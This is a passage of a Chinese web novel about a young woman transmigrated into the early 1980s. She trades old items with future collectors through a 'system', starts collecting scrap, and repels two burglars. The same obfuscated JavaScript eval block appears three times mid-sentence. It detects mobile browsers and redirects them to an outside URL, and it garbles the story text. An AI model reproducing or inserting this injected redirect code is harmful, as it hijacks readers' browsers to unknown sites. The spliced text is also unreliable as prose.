记忆里有些面孔模糊的男人,看她的眼神带着令人不适的打量;也有几户人家,话里话外透着想让她当免费劳力甚至童养媳的意思。 原主性格怯懦,受了欺负也不敢声张,只会躲回这间破屋掉眼泪,幸亏街道王主任还算公正,才没出什么事。长期的营养不良和心惊胆战,让她看起来比实际年龄更小、更羸弱。 一个家徒四壁、孤苦无依、无人撑腰的孤女,在这个年代本就遭人惦记。 前世她猝死在加班夜,今生穿到这样的境地。但既然有了第二次机会,哪怕开局再烂,她也绝不能像原主那样任人拿捏。 系统的防护Buff能挡住世界规则的排异,但挡不住人心险恶。 半下午时,她再次检查了院门。院墙已经修好,但门还是最大的弱点。她蹲在门边,仔细观察门框与墙体的连接处。 门框下沿,靠近地面的位置,有一道新鲜的的撬痕。木刺是新的,和周围陈旧的磨损形成鲜明对比。 不是昨天修墙工人弄的。他们没必要撬门。 是昨晚那个脚步声的主人吗? 安玥后背一凉。 她赶紧翻出所有修墙剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035560|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的废料:几块半截砖、一根弯铁条、几根木楔。 没有钉子,就用最原始的方法。她把木楔削尖,用砖块敲进门框与墙体之间每一处松动的缝隙,把整个门框死死地卡在墙里。 弯铁条被她掰直了一部分,做成一个简易的门栓加固套,套在原有的木门栓外面。 最后她在门内离地一尺高的位置,用麻绳和两个空罐头瓶做了个简易的警报装置。如果有人撞门进来,绊到绳子,罐头瓶就会倒地发出响声。 做完这一切,日头已经西斜,她手上磨出了两个水泡,但看着那扇被加固了的门,心里踏实了些。 体力消耗巨大,她坐在门槛上休息,打开系统面板。 有几条未读私信。 Z:“新发现的影像资料,如果有家庭场景的,请优先留给我。价格可以比市场溢价20%。” 时光猎人:“朋友,你上次的图纸来源还有更多吗?我指的是类似的技术人员手稿,任何行业都可以。” 机械考古学会@官方认证账号:“尊敬的卖家,我学会对您提供的纺织机械图纸评价极高。如您能提供该批图纸的更多背景信息,我学会愿意支付额外信息费。另,我学会长期征集旧历年间各类工业实物、文献,可按年度签订优先供应协议。” 安玥一条条看完,心里有了底。 未来世界的需求比她想象的更具体,也更专业。她之前误打误撞发现,他们不仅要物品,更要物品承载的信息和故事。 而在这个刚刚开放的八十年代初,最不缺的就是这些东西。 傍晚时分,安玥简单煮了点土豆糊糊,就着一点酱油吃了。肚子里有了热食,身体的疲惫感也涌了上来。 天色彻底黑透后,她划亮火柴,点燃了炕头那盏积满油垢的煤油灯——她家原来电路坏了,重新拉线装灯泡都需要钱和人情,她索性继续原主的意志继续省下去。 火苗勉强驱散一小片黑暗,她打水准备擦洗一下。没有自来水,更没有浴室,只有一口井和一个破旧的搪瓷盆。她烧了一锅热水,兑上一点井里打上来的凉水,水温刚好。 她用一块还算干净的旧布巾擦洗着身体。温水清洁了身体,也让稍稍放松下来。 擦洗完毕,换上原主唯一一套旧内衣,将脏水小心倒进院子角落的下水沟。 回到屋里,她再次检查门户。顶门杠已经放好,粗门闩插紧,铁丝扣挂在铁钩上。进屋后,她又把一把有点锈的剪刀放在炕沿伸手可及的地方。 躺在炕上,她复盘今天的花销和收获。 现金少了,但多了一些生活必需品,最重要是初步加固的门户让她安心了许多。 困意袭来时,她看了一眼系统界面。 【高级防护Buff剩余:9天1小时05分】。 这是她的生存时限。 5. 第 5 章 清晨。 安玥睁开眼第一件事就是查看系统面板。 【高级防护Buff剩余:8天16小时47分】 八天。 这是她在这个世界暂时安全的时间。九天后,如果她不能续上防护,那些离奇的意外就会卷土重来。 账户里还有161680纪元币。 安玥打开【跨时空小额物资兑换】界面,盯着那个坑人的汇率。 全部兑换,她能拿到1616.8元华币。 在这个年代,这绝对是一笔巨款。一个普通工人的月工资也就五六十块,这笔钱相当于一个工人不吃不喝干两年。 但全部兑换吗?安玥有点犹豫。 全部兑换意味着她在系统里将一无所有,万一遇到紧急情况需要购买防护,她拿不出纪元币。可如果不兑换,她在现实中依旧是个口袋只剩八块两毛七的穷光蛋,别说创业,连下个月吃饭都成问题。 她需要现实中的启动资金,需要华币。 “必须兑换一部分。”安玥下定决心。 她快速心算:留下足够购买十天高级防护的200000纪元币?不,太多了,她现在有八天缓冲期。留下50000纪元币作为应急储备,剩下的全部兑换。 161680-50000=111680纪元币。 能兑换1116.8元华币。 “够了。”安玥决定下来,“这是第一桶金。” 她点击兑换,确认。 【兑换成功。获得1116.8元华币,已扣除系统隐形投放修正,实物将于24小时内以合理方式抵达您手中。当前纪元币余额:50000。】 几乎在提示音落下的同时,安玥听到了院门外传来邮递员的喊声:“安玥!挂号信!” 她愣了一下,快步走出去。 邮递员站在门外,递过来一个牛皮纸信封:“安玥是吧?签字。” 安玥签了字,接过信封。 邮递员骑车走了,她关上门,迫不及待地撕开信封。 里面是厚厚一沓钱。 十元一张的纸钞,整整一百张,还有零散的十几块钱和几张毛票。 总共1116.8元,一分不差。 钱是旧的,带着流通过的痕迹,用牛皮筋捆着。信封里没有任何信件或说明。 “这就是系统说的合理方式?”安玥捏着那沓钱,思考着。 一千多块钱,在这个年代是一笔巨款,她必须藏好。 她在屋里转了一圈,最后搬开炕席,在土炕角落里扒开一个洞,把钱用油纸包好塞进去,再把土填平,炕席铺好。做完这些,她额头上已经冒了汗。 藏好钱,她开始思考下一个问题:怎么解释她突然有钱了? 院墙昨天刚修好,花了三十块。今天如果她再花钱加固门窗、改善生活,邻居们会怎么看?尤其是赵婶那种眼尖嘴快的人。 她需要一个合理且持续的收入来源。 收废品?这是个一闪而过的念头。 对,收废品。 这个活儿不需要本钱,或者说,只需要极少的本钱。走街串巷,收些废纸旧书、破铜烂铁,转手卖给废品站,赚点差价。虽然辛苦,但在这个年代是正经行当,不少人就靠这个糊口。 最重要的是,收废品能让她名正言顺地有点收入。 她可以对外说,自己收废品赚了点钱,所以修了墙,买了点吃的。虽然赚不了大钱,但改善基本生活是说得通的。 而且收废品的话,她能接触物品里,很可能藏着未来人眼中的宝贝。 一箭双雕。 安玥决定今天就去找街道王主任。 她换上了原主最体面的一件衣服,虽然打着补丁,但还算干净。她把头发仔细梳好,让自己看起来精神些。 出门前,她数了十块钱揣在兜里,又把剩下的钱藏回炕洞。 街道办事处在两条街外,是一排红砖平房。安玥走到门口,推门进去。 王主任正坐在办公桌前看文件,抬头看见她,有些意外:“安玥?你怎么来了?身体好点没?” “王主任,我好多了。”安玥努力让自己的声音听起来怯生生的,但带着点决心,“我想找点活儿干。” 王主任放下文件,上下打量她:“你想干活?好啊!街道最近正动员待业青年呢。你想做什么?” “我……我听说有人收废品,能赚点钱。”安玥低下头,“我力气小,干不了重活,但收废品……我还能试试。我想先干着,攒点钱,再看看有没有别的活儿。” 王主任看着她瘦弱的样子,叹了口气:“收废品是辛苦,风吹日晒的。不过你这孩子……也确实该自己挣口饭吃了。” 她想了想,从抽屉里拿出一张纸:“这样,我给你开个证明,你去废品站挂个号。废品站的老刘我认识,我跟他说一声,你收的东西他按公道价收。” “谢谢王主任!”安玥赶紧道谢。 “别急着谢。”王主任表情严肃起来,“安玥,你年纪还小,收废品是能挣点钱,但这不是长久之计。你有没有想过……继续上学?” 安玥一愣。 “我听说你以前读书成绩不错,后来……”王主任没有继续往下说,“现在国家早就能高考了,你要是能考上大学,那才是正经出路。学费、生活费……街道可以帮你申请补助,学校也有助学金。” 高考? 安玥脑子里飞快转着。 她穿越前是品牌大学毕业,应付80年代的高考,在知识储备上应该没问题。但问题是时间——现在已经是五月,高考在七月,只剩下两个月。她得复习,还得赚钱养活自己。 更重要的是,考上大学意味着至少四年时间要待在校园里。她的系统生意怎么办?她的创业计划怎么办? 文凭在这个年代确实是稀缺资源,能帮她拓展人脉,提升社会地位。但眼下,她最急需的是原始资本。 “王主任,我想先试试收废品。”安玥抬起头,眼神里带着犹豫,“我得先养活自己。读书的事等我攒点钱再考虑。” 王主任看了她几秒,最终点点头:“也行。年轻人肯自力更生,是好事。证明我给你开,你今天就能开始。” 她拿出钢笔,在纸上唰唰写了几行字,盖上公章,递给安玥。 “记住,收废品也要讲规矩,不能偷不能抢,价钱要公道。”王主任嘱咐道,“遇到困难,再来找我。” “我一定记住。”安玥接过证明,深深鞠了一躬。 走出街道办事处,安玥把证明小心折好,放进口袋。 现在,她有了一个光明正大的工作。 接下来,她需要置办收废品的行头。 她走到附近的杂货店买了一个大号的竹背篓,又买了两根麻绳,讲价买了一杆旧的杆秤。 做完这些,她才去了废品站。 废品站在城郊,是一片用铁丝网围起来的空地。院子里堆着小山一样的废纸、废铁、碎玻璃。 看门的是个五十来岁的黑脸汉子,姓刘。 安玥把王主任开的证明递过去:“刘叔,王主任让我来找您。” 老刘接过证明看了看,又打量她几眼:“你这个体格子收废品?”说完他又仔细看了看证明,生怕安玥骗他。 安玥忙指着证明说:“这有王主任的证明,还有章子呢,不会有假!” 汉子犹豫了一下,才点了点头:“既然是王主任的面子……那行,以后你收的东西,只要没毛病,我都按市价收。” 他简单说了说收购价:废纸一斤四分,废铁一斤一毛二,铜一斤八毛,铝一斤六毛…… “记住了?” “记住了。”安玥点头。 “还有,”老刘压低声音,“有些东西,废品站不能收。比如……文物、古籍、金银首饰。那些你得交到文物站或者银行,明白吗?” “明白。”安玥心里一动。 但她脸上不动声色,只是乖乖点头。 从废品站出来,安玥背着空背篓,开始在小巷里转悠。 她没有吆喝,只是慢慢走着,观察着每家每户门外堆着的东西。有些人家门口放着捆好的旧报纸,有些扔着破铁锅、旧脸盆。 走了两条街,她在一个院门外停下。 院门敞着,一个带着眼镜的老太太正在院子里晒被子。门口堆着一摞旧书和几个破瓦罐。 安玥鼓起勇气,敲了敲门框:“大娘,您这些旧书……卖吗?” 老太太回头看她:“卖啊!堆这儿占地方。你要收?” “嗯,我收废品。”安玥走进院子,“书按废纸价,一斤三分钱。瓦罐……瓦罐算碎料,一斤一分钱。” 老太太摆摆手:“你看着给吧,反正不是卖给你就是卖给别人。” 安玥把书和瓦罐搬到一边,从背篓里拿出一个小杆秤——这是她刚才在杂货店花一毛钱买的旧秤。 称重,算钱。书十二斤,三毛六分钱;瓦罐八斤,八分钱。总共四毛四。 安玥掏出钱,数出四毛四递给老太太。 老太太接过钱,笑了:“你这丫头实在,没压秤。以后我这有破烂,还找你。” “谢谢大娘。”安玥把书和瓦罐装进背篓。 第一笔生意做成,虽然只赚个差价——废品站收废纸一斤四分,她转手能赚一分钱一斤。 走到另一条巷子,她看见一户人家正在修葺小厨房,墙边放着半袋打开的生石灰,还有一些抹灰用的零星工具。 “大叔,这石灰用完了吗?” “用完了,就剩这点底子,你要?拿去。”修墙的中年男人很爽快。 安玥道了谢,将那小半包生石灰也收进背篓,用破布仔细包好,防止受潮或洒出来。 她还特意去了一趟杂货店,除了生活必需品,又多花了几分钱,买了一盒火柴,并要了一大张粗糙的草纸。 她继续走街串巷,不仅留意可收的废品,也暗暗记下巷道走向、邻里布局。哪家院子养狗,哪条路晚上没灯,哪片住户比较杂乱。 一个下午,她收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035561|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了三十斤废纸、十五斤废铁、几个破铝锅,还有一大堆杂七杂八的东西。背篓越来越沉,压得她肩膀疼。 但她心里是兴奋的。 每收到一样东西,她都会下意识地用系统的扫描功能评估——当然,是在心里评估。大多数确实是破烂,但偶尔会有惊喜。 比如,在一个破铁盒里,她找到几枚名人像章,品相完好。 这些东西她没有当场拿出来,而是混在废品里一起称重买下。 她知道,这些在系统里,很可能价值不菲。 傍晚时分,她背着满满的背篓回到废品站。 老刘帮她过秤,算账。 “废纸十六斤,一斤四分,六毛四。” “废铁十三斤,一斤一毛二,一块五毛六。” “铝锅三个,五斤,一斤六毛,三块钱。” “其他杂料……算你五毛。” 总共五块七毛钱。 老刘数出钱递给她:“干得不错。明天还来?” “来。”安玥接过钱,擦了一把额头上的汗。 背着空背篓回家时,路过副食店。她走进去,花六毛钱买了一斤鸡蛋,又花八毛钱割了半斤五花肉。 拎着鸡蛋和肉走出店门时,她碰见了赵婶。 赵婶盯着她手里的东西,眼睛瞪得老大:“安玥?你这是……发财了?” 安玥露出一个腼腆的笑:“赵婶,我今天开始收废品了。下午挣了点钱,想买点好吃的解解馋。” “收废品?”赵婶恍然,“哦哦,王主任给你介绍的吧?好,好,自食其力是好事。” 她嘴上说着好,但眼神还在安玥手里的鸡蛋和肉上打转。 安玥知道,赵婶回头肯定会跟左邻右舍说:安玥那丫头收废品赚了钱,买鸡蛋买肉了。 这正是她想要的。 她要让所有人都知道,她的钱是收废品挣的辛苦钱。 回到家,关上门。 安玥把鸡蛋和肉放进厨房,她先整理今天的收获:破麻袋、生石灰、气味可疑的铁皮罐。她确认了,里面是变质劣质桐油和其他油脂的混合物,量不多,但足够黏稠刺鼻。还有空罐头瓶、火柴、草纸。 她把麻袋抖干净,铺在墙角。生石灰包好,放在干燥处。桐油罐子盖紧,也放在一旁。空罐头瓶,她留下两个,其他的和普通废品放在一起。 接着,她开始处理那几件从废品中淘到的,没卖给废品站的小物件挑出来,放在一边。 然后她打开系统。 【扫描目标物品。】 蓝光扫过那几样东西。 【评估完成:】 “旧历纪念章,品相完好,情感价值高,稀缺度中高,单枚预估起拍价3000-4000纪元币。” “铁皮青蛙:旧历儿童玩具,漆面磨损70%,发条机构锈蚀,但整体结构完整。稀缺度:高。情感价值:极高。预估起拍价:6000-7000纪元币。” 安玥眼睛亮了。 这些东西在系统里能卖好多纪元币。 而她买下它们,只花了几毛钱。 但她不打算现在就卖,一来她现在不缺纪元币,二来频繁上架会让她的东西缺少稀缺性。她要囤积一批好货,等时机成熟再一次性出手。 她把这几样东西小心收好,做饭。 点火,烧锅,炼一点猪油,把五花肉切片下锅煸炒,炒出油后盛出来。就着锅里的油,打两个鸡蛋,煎得金黄。 下一把挂面,烫几片白菜叶子。 面煮好,连汤带面盛进碗里,铺上煎蛋和炒肉。 一碗香喷喷的肉丝鸡蛋面。 这是她穿来后,吃得最像样的一顿饭。 安玥满足地舒了口气,这具身体太需要营养了。 她收拾好碗筷,烧了一锅开水备用。又将剩下的五花肉用油纸包好,吊在院中阴凉通风的井轱辘旁——这是这年代简陋的冰箱。鸡蛋则小心地放进灶台边一个垫了干草的竹篮里。 天色已经完全暗下来。安玥点亮煤油灯,心想着过几天去把屋子里的灯修一修。 她坐在炕沿,把今天赚的五块七毛钱和那几件小物件,一起用油纸包好,准备也塞进炕洞。然而,当她搬开炕席,手伸向那个藏钱的角落时,动作忽然顿住了。 土被翻动过。 虽然很轻微,有人将表面的浮土抹平了,但下面埋藏的紧实度不一样。她扒开土层,油纸包还在,但包裹的折叠方式变了——她习惯将边角折成特定的三角形,而现在,是胡乱卷起来的。 有人动过她的钱。 安玥的后背瞬间渗出一层冷汗。 她迅速打开油纸包,快速清点。钱一张不少,零钱和毛票也都在。 来人没有偷钱。为什么?一个更可怕的念头浮上来。 安玥强迫自己冷静下来,把钱重新包好,塞回炕洞,恢复原状,又把剪刀放在枕边。 她熄了灯,躺在炕上,在黑暗中睁着眼睛。 屋外风声细细,偶尔传来远处几声狗吠。 6. 第 6 章 时间一分一秒过去。就在安玥有些昏昏欲睡时—— “哐啷!” 是她傍晚设在门后的罐头瓶警报。 安玥猛地从炕上弹起,一把抓过放在枕边的剪刀,赤脚跳到地上,屏住呼吸。 院子里传来闷响和几声低语,不止一个人。 接着是门闩被用力撬动的声音,还有铁器刮擦木头的刺耳噪音。她傍晚加固过的门栓正在被破坏。 安玥的心提到了嗓子眼。她蹑手蹑脚挪到窗边,从破窗纸的缝隙往外看。 “快点……那丫头片子今天买肉了,肯定藏了钱……” “门栓卡死了……妈的,这丫头什么时候弄的……”另一个声音抱怨。 “不行就翻墙!矮墙那边!” 安玥脑子飞速转动。翻墙?她家院墙刚修好,但高度有限,成年人确实能翻进来。一旦他们进来…… 她环顾屋内,家徒四壁,无处可藏。对抗?她这身体,加上一把剪刀,对付两个成年男人? 硬拼是下下策。 她的目光落在系统面板上——【纪元币余额:50000】。商城界面在她意念下展开,商城物品快速滚动。 她的目光迅速过滤,掠过那些昂贵的防护道具、修复服务,停留在一个分类:【辅助工具(低科技适配)】。 点开,里面的商品一片灰暗,显示“科技水平超出当前时空承载极限,无法兑换”。 安玥思索了两秒,一把抓过破麻袋,将生石灰包撕开,尽数倒入麻袋底部,又抱起那罐粘稠刺鼻的桐油混合物全部倒了进去。黏腻的液体瞬间浸湿了生石灰和麻袋内壁,散发出更浓烈刺鼻的气味。 她随手抓起一把白天剩下的柴火碎屑,也塞进麻袋。 此时,院外的撬门声停了。一阵窸窣,接着是重物落地的闷响和压抑的痛呼——有人试图翻墙,似乎摔了。 “蠢货!踩着肩膀上去!”望风的那人低声骂道。 不能再等了! 安玥把混合了石灰、桐油、柴屑的麻袋竖起来,紧紧抵住房门下半部,自己则闪身躲到门轴一侧的视觉死角,屏息听着院里的动静。 院门被从里面轻轻拉开,脚步停在了屋门外,似乎在确认。 “就这屋,踹!” “砰!” 两个男人收势不及,猛地踉跄冲进门槛,差点摔作一团。他们显然没料到门会突然从里面打开,一时愣住。 月光昏暗,他们只看到门口站着一个黑影,手里拖着个鼓鼓囊囊的麻袋,脸上似乎也黑乎乎的看不清。 “谁?!”矮壮男人惊疑低喝,举起了手里的铁棍。 安玥不等他们反应,更不等他们看清自己是个女子,用尽全身力气,双手抓住麻袋底部,用尽吃奶的力气,将里面剩余的大半袋混着生石灰粉的桐油混合物,朝着两个男人的劈头盖脸地掀泼过去! 黏腻的浆液夹杂着未完全溶解的石灰粉和柴屑覆盖了两人上半身。 “啊!我的眼睛!” “这什么鬼东西?!咳!咳咳!” 生石灰粉扑面而来,进入眼睛、口鼻的灼烧刺痛感和粉末本身带来的窒息感,瞬间让两人惨叫起来。刺鼻的气味更是让他们剧烈咳嗽,视线一片模糊,脸上黏腻难受。 “大哥!我看不见了!呛死了!”另一个男人声音带了哭腔,胡乱抹着脸,却让混合物糊得更开。 安玥早已扔开空麻袋,闪身到灶台边端起了那口铁锅,将大半锅热水朝对面的下盘泼去! “嗷——!”男人被烫得跳脚惨叫,彻底乱了方寸踉跄后退,撞在同伴身上。 “来人啊!有贼啊!被泼了汽油!我要点火了!!点火了!!!” 她扯开嗓子嘶喊,声音在寂静的夜空里传出去老远。 几乎是立刻,隔壁院子亮起了灯。 “咋回事?!” “谁在喊?” “好像是小安玥家!” 远处也传来了回应的人声和脚步声。 两个男人听到四周迅速逼近的动静,脸色大变。 安玥一边喊,她一边蹲下,手伸向灶膛边,那里有她事先放好的火柴。 安玥大幅度地动作去擦火柴盒。 第一下,火柴受潮,没着。 两个男人听到“点火”二字,又看到她的动作,未知的、滚烫的、粘稠的腐蚀性物质带来的心理恐惧压过了疼痛和愤怒。 “嚓——”第二下,火苗终于亮起。 “看好了!这东西沾上火就着!”她作势要把火柴扔到他们身上。 “疯子!这丫头是个疯子!快跑!!”其中一个男人声音都变了调,再也顾不得眼睛刺痛,朝着洞开的院门方向摸去。 另一个勉强冲到院门口,却正好撞上了闻声赶来的邻居们。 “站住!”一声中气十足的怒吼。 赵婶的丈夫李大叔手里抄着一根粗木棍,堵在门口。他身后,五六个邻居都赶来了,有拿着扁担的,有拿着铁锹的,还有举着煤油灯的。 “真是贼!抓住他们!” 邻居们一拥而上,七手八脚将试图逃跑的那个男人按倒在地。摔在院子里的那个也被人揪了起来。 这时王主任也匆匆赶来了,手里还拿着一根手电筒。她脸色铁青,先冲到安玥身边:“安玥!你没事吧?” “我……我没事……”安玥声音还在抖,这次不是装的。她指着眼睛红肿、不断咳嗽的两个男人,“他们……他们想撬门进来……” 手电筒的光照在两个歹徒脸上。安玥这才看清,其中一个矮壮的男人看着眼熟——是附近有名的二流子,叫孙二狗。另一个瘦高的不太认识。 “孙二狗!”王主任厉声道,“又是你!上次偷厂里废铁还没找你算账,现在胆子大到入室抢劫了?!” 孙二狗眼睛红肿得睁不开,嘴里还在咳嗽,但嘴上不服软:“谁、谁入室抢劫了?我们就是……就是走错门了!” “走错门?大半夜的走错门?还带着铁棍?”李大叔一脚踢开地上的铁棍,“当我们都是傻子?” “搜他们身!”有人喊道。 几个邻居上前,从孙二狗身上搜出一把刀,从另一个瘦高个身上搜出几根铁丝,明显是撬锁工具。 “送派出所!”王主任当机立断,“李大哥,麻烦你们几个年轻力壮的,把这两个败类扭送到派出所去。安玥,你也得去一趟,做个笔录。” “好。”安玥点点头。 一行人押着两个不断哀嚎的歹徒,浩浩荡荡往派出所走去。沿途又有不少被惊醒的居民出来看热闹,指指点点。 “孙二狗又犯事了?” “这次是夜闯民宅,想欺负人家孤女!” “活该!早就该抓起来了!” 到了派出所,值班民警听明情况,看到两个歹徒的狼狈样,又检查了搜出的工具,表情严肃起来。 “这是典型的入室盗窃未遂,性质恶劣。”民警做了详细记录,又问安玥,“小姑娘,他们有没有伤害到你?” “没有,我用生石灰和热水泼了他们,然后喊人了。”安玥老实说。 民警点点头:“你做得对,自卫是应该的。”他转向孙二狗和瘦高个,“你们两个,等着处理吧。至少得拘留十五天,还要赔偿人家损失。” “民警同志,我们真没想偷东西……”孙二狗还想狡辩。 “带着撬门工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035562|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具,半夜翻墙,还说没想偷?”民警冷冷道,“老实交代,还能争取从宽处理。” 做完笔录,从派出所出来时,天边已经泛起了鱼肚白。 王主任陪着安玥往回走,路上轻声说:“安玥,这次多亏你机警。不过你一个女孩子家,住在那儿确实不安全。要不……我帮你申请一下,看能不能换个住处?” 安玥想了想,摇摇头:“王主任,谢谢您。但那是我爸妈留下的房子,我不想搬。今天之后,街坊邻居都知道我家进过贼,派出所也备案了,一般人不敢再来了。” 她顿了顿,又说:“而且我打算明天就找人把门窗都加固,再把院墙加高一点。” 王主任看着她叹了口气:“你这孩子,性子倒是倔。行,明天我找人来帮你修,费用街道上帮你出一部分。” “不用不用,我自己有钱。”安玥忙说,“已经很麻烦您了,我收废品挣了点,够用的。” 回到小院时,天已经蒙蒙亮。几个热心的邻居还没散去,聚在院子里议论。 “安玥回来了!” “派出所怎么说?” “那俩混蛋至少拘留半个月,还得赔钱!” 安玥一一谢过邻居们,表示明天会找人来加固门窗。 等众人散去,院子里终于恢复了安静。 安玥关上门,插好门闩。她走回屋里,点燃煤油灯,坐在炕沿上。 这一夜的惊心动魄让她后怕,但也让她看到了一丝希望——邻居们是愿意帮忙的,这个社会并非全然冷漠。 她需要钱,需要能合理获取的华币,也需要一些自保的手段。 派出所在第二天上午又派人来了一趟,做了补充调查,并告知安玥,孙二狗和另一个叫王麻子的同伙因涉嫌多次入室盗窃被正式拘留,案件将移交处理。 街道王主任也亲自带着两个懂木工和电工的师傅上门,帮安玥加固了门窗,修好了屋里损坏的电线,装上了明亮的灯泡。安玥坚持付了材料费,工钱则算作街道帮扶。 带王主任和工人走后,她起身给自己倒了碗凉开水,咕咚咕咚灌下去,让她混沌的脑子清醒了几分。 就在这时—— 【叮!系统商城月度随机道具已更新。】 【新增类别:低科技辅助工具包(适配80年代)】 安玥眼睛一亮,立刻点开。 界面展开,亮起了七八个图标。她快速浏览: 【便携式水质检测试纸:100纪元币】 【基础植物病害识别手册:500纪元币】 【简易土壤成分检测套装:800纪元币】 …… 安玥一条条看下去,嘴角耷拉下去。 这些工具更像是给田园生活爱好者准备的辅助包,而不是给挣扎在生存线上的人准备的。 她不死心,又翻了三遍。确实没有。 她需要的是能立刻改善这具营养不良身体的,需要的是能让手脚更有力气的,需要的是能提高自卫能力的——哪怕只是最基础的体能增强剂也好。 但商城里没有。 “也对,”安玥自嘲地笑了笑,“系统又不是慈善机构,怎么可能直接卖大力丸。” 正想着,私信提示音响了起来。 是Z。 “在吗?最近有没有收到新的影像资料?” 安玥盯着这行字,脑子里突然闪过一个念头。 她犹豫了几秒,手指在虚拟键盘上敲击:“Z先生,影像资料暂时没有。不过我收到了一件特别的东西,不知道您感不感兴趣?” 那边几乎是秒回:“是什么?” 安玥起身,从藏东西的角落翻出那个铁皮青蛙。 7. 第 7 章 安玥没有立刻拍照上传。她拿起那个巴掌大的铁皮青蛙,借着新装的电灯泡仔细端详。绿色漆皮掉了一大半,露出底下的铁锈,发条钥匙歪斜着,青蛙的眼睛有一只漆都磨没了,看起来就是一件被玩坏了的破烂。 但系统之前评估它有极高的情感价值。她不太清楚未来人到底在怀念什么,但她大概能猜到:一个需要上发条的机械玩具,对他们那个高度发达的时代来说,可能本身就代表了一种原始的乐趣。 她斟酌了一下措辞,给Z回复:是一个旧历年代的儿童玩具,铁皮材质,上发条后会跳动的那种青蛙。品相……不算完美,但很有时代特征,保存了机械结构的完整性。 这是销售话术。 那边安静了一会儿。 安玥耐心等着。她需要了解Z对这类物品的兴趣点。 Z的消息终于来了:能详细描述一下它的机械结构吗?还有跳跃动作的联动方式?如果有细节图更好。 安玥心下了然。她拿起铁皮青蛙,小心地拧了拧发条钥匙,纹丝不动,锈死了。她没敢硬来,怕彻底弄坏。 “发条机构目前锈蚀卡死,无法演示跳跃动作。”她如实说明,这能避免后续纠纷,“但从外部看,发条盒是标准的旋钮式,铁皮冲压成型,有简单的防逆转棘齿设计。转动部分被外壳包裹,无法直接观察,但根据同时期同类玩具推断,应该是简单的蜗杆带动偏心轮结构。青蛙的四足与身体用铆钉连接,留有活动间隙,应是实现跳跃的关键。” 她一边描述,一边尽量回忆前世看过的类似原理。真不懂的,就用“推断”、“应是”这类词,听起来专业又不把话说死。 描述完,她又从几个角度给铁皮青蛙拍了照,特意用干净的布垫着,在灯光下展现了锈蚀和漆皮剥落的细节,拍出一种岁月感。 照片发过去。 这次Z回复得快了些:很有意思。典型的旧历中期的工艺,锈蚀情况确实严重,但整体结构未变形,作为实物收藏有一定价值。” 过了一会又发来一条:你之前提供的物品,无论是影像还是图纸,信息密度和价值都很清晰。这件玩具……价值定位有些模糊。你打算如何定价? 问到关键了。安玥知道,Z在试探她的心理价位,也在评估这件东西在他收藏体系里的位置。 她不能开太低,否则显得自己没眼光,也对不起之前建立的专业人设。但也不能开太高,毕竟这东西品相摆在那里,万一吓跑客户就不好了。 她想起之前铁皮青蛙的评估起拍价是6000-7000纪元币。但这只是系统基于数据的估价,真正的市场接受度,尤其是面对Z这种见多识广的客户,需要更灵活的策略。 “这是一件带有鲜明时代印记的机械遗物。”安玥开始组织语言,“它不像图纸或影像那样承载大量可解析的信息,但它对于研究彼时民众生活趣味,甚至小型金属加工工艺,都有其独特的价值。” “至于价格,”她话锋一转,语气变得诚恳,“坦白说,它的价值更多取决于收藏者个人的兴趣方向。基于其稀缺性,我个人认为,8000纪元币是一个相对公允的价位。” 消息发出去后,安玥有点忐忑。这个价格不低,Z会不会觉得她在宰客? 几分钟后,Z的回复来了。 “8000纪元币,可以。但我有两个附加要求。” “第一,交易完成后,如果你后续再发现类似的旧历机械玩具,在同等条件下我有优先购买权。” “第二,关于这件青蛙,如果可能,我希望你能尝试记录下它原本的发条声音。我愿意为此额外支付500纪元币的信息费。” 安玥快速消化着Z的要求。优先购买权是绑住大客户的好办法,她没理由拒绝。至于记录声音……这有点难,青蛙现在是哑巴加瘸子。但Z愿意额外付费,这说明他非常看重物品的完整体验和还原。 “优先购买权可以加入我们的VIP协议补充条款。”安玥先肯定第一条,“至于声音记录……我无法保证能复原它原本的声音,但我会尽力寻找同时期同类玩具的工作音频资料,作为背景信息附赠给您。额外的500纪元币就不必了,这算是我对老客户的支持。” 她大方地免去了信息费,显得自己更看重长期合作。实际上,去找音频资料可能根本不用成本。 Z似乎对她的答复很满意:“可以。那么,8000纪元币,优先购买权条款,以及附赠的音频背景资料。交易成立?” “成立。”安玥敲下这两个字。又是一笔进账。 【交易达成。铁皮青蛙(附优先购买权协议及背景信息承诺)已售予VIP客户Z,成交价8000纪元币。扣除10%手续费,实收7200纪元币。】 几乎是款项到账的同时,Z的私信又来了,这次话题似乎偏了:“你似乎对旧历年代的物品和市场价值有相当专业的判断力。方便透露你是专职从事这方面发掘工作的吗?还是隶属于某个机构?” 这个问题很敏感。 